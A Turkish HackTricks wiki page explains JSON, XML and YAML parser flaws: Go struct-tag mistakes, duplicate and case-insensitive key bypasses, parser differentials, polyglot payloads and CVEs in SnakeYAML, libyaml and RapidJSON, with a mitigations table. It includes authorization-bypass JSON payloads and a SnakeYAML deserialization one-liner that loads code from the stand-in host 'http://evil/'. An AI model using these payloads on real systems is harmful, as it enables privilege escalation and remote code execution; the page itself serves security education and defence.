JSON, XML & Yaml Hacking & Issues
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Go JSON Decoder
Aşağıdaki sorunlar Go JSON'da tespit edilmiştir, ancak diğer dillerde de mevcut olabilir. Bu sorunlar bu blog yazısında yayınlanmıştır.
Go’nun JSON, XML ve YAML ayrıştırıcıları, kimlik doğrulamasını atlatmak, yetkileri yükseltmek veya hassas verileri dışa aktarmak için kötüye kullanılabilecek uzun bir tutarsızlık ve güvensiz varsayılan ayarlar geçmişine sahiptir.
(Un)Marshaling Beklenmeyen Veriler
Amaç, bir saldırganın hassas alanları okumak/yazmak için izin verilen yapıları istismar etmektir (örneğin, IsAdmin
, Password
).
- Örnek Yapı:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Yaygın Güvenlik Açıkları
- Eksik etiket (etiket yok = alan varsayılan olarak hala ayrıştırılır):
type User struct {
Username string
}
Yük:
{"Username": "admin"}
- Yanlış
-
kullanımı:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Yük:
{"-": true}
✔️ Alanın (un)marshalled olmasını engellemenin doğru yolu:
type User struct {
IsAdmin bool `json:"-"`
}
Parser Farklılıkları
Amaç, farklı parser'ların aynı yükü nasıl farklı yorumladığını kullanarak yetkilendirmeyi atlatmaktır, örneğin:
- CVE-2017-12635: Tekrar eden anahtarlar aracılığıyla Apache CouchDB atlatması
- 2022: XML parser tutarsızlığı aracılığıyla Zoom 0-tıklama RCE
- GitLab 2025 SAML atlatması aracılığıyla XML tuhaflıkları
1. Tekrar Eden Alanlar:
Go'nun encoding/json
son alanı alır.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Diğer ayrıştırıcılar (örneğin, Java'nın Jackson'ı) ilk olanı alabilir.
2. Büyük/Küçük Harf Duyarsızlığı: Go büyük/küçük harf duyarsızdır:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Unicode hileleri bile işe yarar:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Hizmetler arası uyumsuzluk: Hayal edin:
- Go ile yazılmış bir Proxy
- Python ile yazılmış bir AuthZ servisi
Saldırgan gönderir:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python
UserAction
'ı görür, izin verir - Go
AdminAction
'ı görür, yürütür
Veri Formatı Karışıklığı (Polyglots)
Amaç, formatları (JSON/XML/YAML) karıştıran veya ayrıştırıcı hatalarında açık kalan sistemleri istismar etmektir:
- CVE-2020-16250: HashiCorp Vault, STS'nin XML yerine JSON döndürmesinin ardından JSON'u bir XML ayrıştırıcısı ile ayrıştırdı.
Saldırganın kontrol ettiği:
Accept: application/json
başlığı- JSON gövdesinin kısmi kontrolü
Go'nun XML ayrıştırıcısı yine de bunu ayrıştırdı ve enjekte edilen kimliğe güvendi.
- Özel yük:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Sonuç:
- Go JSON ayrıştırıcı:
Action_2
(büyük/küçük harf duyarsız + son kazanan) - YAML ayrıştırıcı:
Action_1
(büyük/küçük harf duyarlı) - XML ayrıştırıcı: dize içindeki
"Action_3"
'ü ayrıştırır
Dikkate Değer Ayrıştırıcı Güvenlik Açıkları (2023-2025)
Aşağıdaki kamuya açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu göstermektedir — sadece bir Go problemi değildir.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Etkileyen:
org.yaml:snakeyaml
< 2.0 (Spring-Boot, Jenkins vb. tarafından kullanılır). - Temel neden:
new Constructor()
rastgele Java sınıflarını ayrıştırır, uzaktan kod yürütme ile sonuçlanan gadget zincirlerine izin verir. - Tek satırlık PoC (savunmasız hostta hesap makinesini açar):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Düzeltme / Önleme:
- ≥2.0'a Yükseltin (varsayılan olarak
SafeLoader
kullanır). - Eski sürümlerde, açıkça
new Yaml(new SafeConstructor())
kullanın.
libyaml Çift Serbest Bırakma (CVE-2024-35325)
- Etkiler:
libyaml
≤0.2.5 (birçok dil bağlaması tarafından kullanılan C kütüphanesi). - Sorun:
yaml_event_delete()
fonksiyonunun iki kez çağrılması, saldırganların DoS veya bazı senaryolarda heap istismarı yapabileceği bir çift serbest bırakmaya yol açar. - Durum: Üst akış “API kötüye kullanımı” olarak reddetti, ancak Linux dağıtımları, işaretçiyi savunmacı bir şekilde null-serbest bırakan yamanmış 0.2.6 sürümünü gönderdi.
RapidJSON Tam Sayı (Alt|Üst)-taşma (CVE-2024-38517 / CVE-2024-39684)
- Etkiler: Tencent RapidJSON
8269bc2
commit'inden önce (<1.1.0-patch-22). - Hata:
GenericReader::ParseNumber()
içinde kontrolsüz aritmetik, saldırganların büyük sayısal literaller oluşturmasına izin verir; bu literaller sarılır ve heap'i bozar — sonuçta, elde edilen nesne grafiği yetkilendirme kararları için kullanıldığında ayrıcalık yükseltmesine olanak tanır.
🔐 Önlemler (Güncellenmiş)
Risk | Düzeltme / Öneri |
---|---|
Bilinmeyen alanlar (JSON) | decoder.DisallowUnknownFields() |
Tekrar eden alanlar (JSON) | ❌ stdlib'de düzeltme yok — jsoncheck ile doğrulayın |
Büyük/küçük harf duyarsız eşleşme (Go) | ❌ Düzeltme yok — yapı etiketlerini doğrulayın + girdi ön-canonize edin |
XML çöp verisi / XXE | Sertleştirilmiş bir ayrıştırıcı kullanın (encoding/xml + DisallowDTD ) |
YAML bilinmeyen anahtarlar | yaml.KnownFields(true) |
Güvensiz YAML serileştirmesi | SafeConstructor kullanın / SnakeYAML ≥2.0'a yükseltin |
libyaml ≤0.2.5 çift serbest bırakma | 0.2.6 veya dağıtım yamanmış sürüme yükseltin |
RapidJSON <yamanmış commit | En son RapidJSON ile derleyin (≥Temmuz 2024) |
Referanslar
- Baeldung – “SnakeYAML 2.0 ile CVE-2022-1471'i Çözme”
- Ubuntu Güvenlik İzleyici – CVE-2024-35325 (libyaml)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.